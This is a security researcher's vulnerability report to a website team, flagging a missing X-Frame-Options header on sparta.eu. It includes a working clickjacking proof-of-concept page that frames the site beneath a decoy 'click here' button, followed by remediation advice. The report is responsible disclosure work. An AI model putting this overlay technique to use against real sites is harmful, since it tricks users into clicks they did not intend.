Hello Team,
I am Siddharth Zala working as a security researcher and I found a bug in
your site report of bug is as follows :
a) Vulnerability name: Clickjacking On Sensitive Page
b) Vulnerability Description :
Clickjacking (User Interface redress attack, UI redress attack, UI
redressing) is a malicious technique of tricking a Web user
into clicking on something different from what the user perceives they
are clicking on, thus potentially revealing confidential information or
taking control of their computer while clicking on seemingly innocuous web
pages.
The server didn't return an X-Frame-Options header which means that this
website could be at risk of a clickjacking attack. The
X-Frame-Options HTTP response header can be used to indicate whether or not
a browser should be allowed to render a page in a <frame> or <iframe>.
Sites can use this to avoid clickjacking attacks, by ensuring that their
content is not embedded into other sites.
This vulnerability affects the Web Server.
c) Steps to reproduce :
1. Copy the URL of the website and paste it in clickjacking code
2. This is sample code
Create a new HTML file
put <iframe src="https://sparta.eu/" id="frame1"
width="100%"
height="100%" >
3. Open the Html file with another browser and click on click here and see
it is redirected to bing.com.
d) POC :
I have attached Screenshot as well as code of clickjacking :
<html>
<head>
<title>Clickjack test page</title>
</head>
<style>
#myBtn{
z-index: 999;
position: absolute;
top: 100px;
right: 50px;
color: white;
background-color: red;
}
</style>
<body>
<!-- <h1> A Sample Test Page </h1>
<p>Websites are vulnerable to clickjacking! </p>
<p>Avoid random clicks </p> -->
<div style="z-index:-9999; position:absolute;top:0; left:0;width: 70%;
height:70%">
<iframe src=" https://sparta.eu/" id="frame1"
width="100%"
height="100%" >
</iframe></div>
<div align="right" style="position:absolute; top:1; left:0; z-index:1;
width: 70%;height:60%; text-align:left;">
<a href="
https://www.bing.com/?toWww=1&redig=D1C96AD6DC434FA59D3D2AC05339EA9B&qu…
target="_blank"><button id="myBtn"> click
here</button></a>
<div id="myModal" class="modal">
<!-- Modal content -->
</div>
</body>
</html>
e) Solution :
There are two main ways to prevent clickjacking:
Sending the proper X-Frame-Options HTTP response headers that instruct the
browser to not allow framing from other domains
Employing defensive code in the UI to ensure that the current frame is the
most top-level window
Most modern Web browsers support the X-Frame-Options HTTP header. Ensure
it's set on all web pages returned by your site (if you expect the page to
be framed only by pages on your server (e.g. it's part of a FRAMESET) then
you'll want to use SAMEORIGIN, otherwise if you never expect the page to be
framed, you should use DENY. ALLOW-FROM allows specific websites to frame
the web page in supported web browsers).
f) Impact:
By using the Clickjacking technique, an attacker hijacks click's meant for
one page and routes them to another page, most likely for another
application, domain, or both.
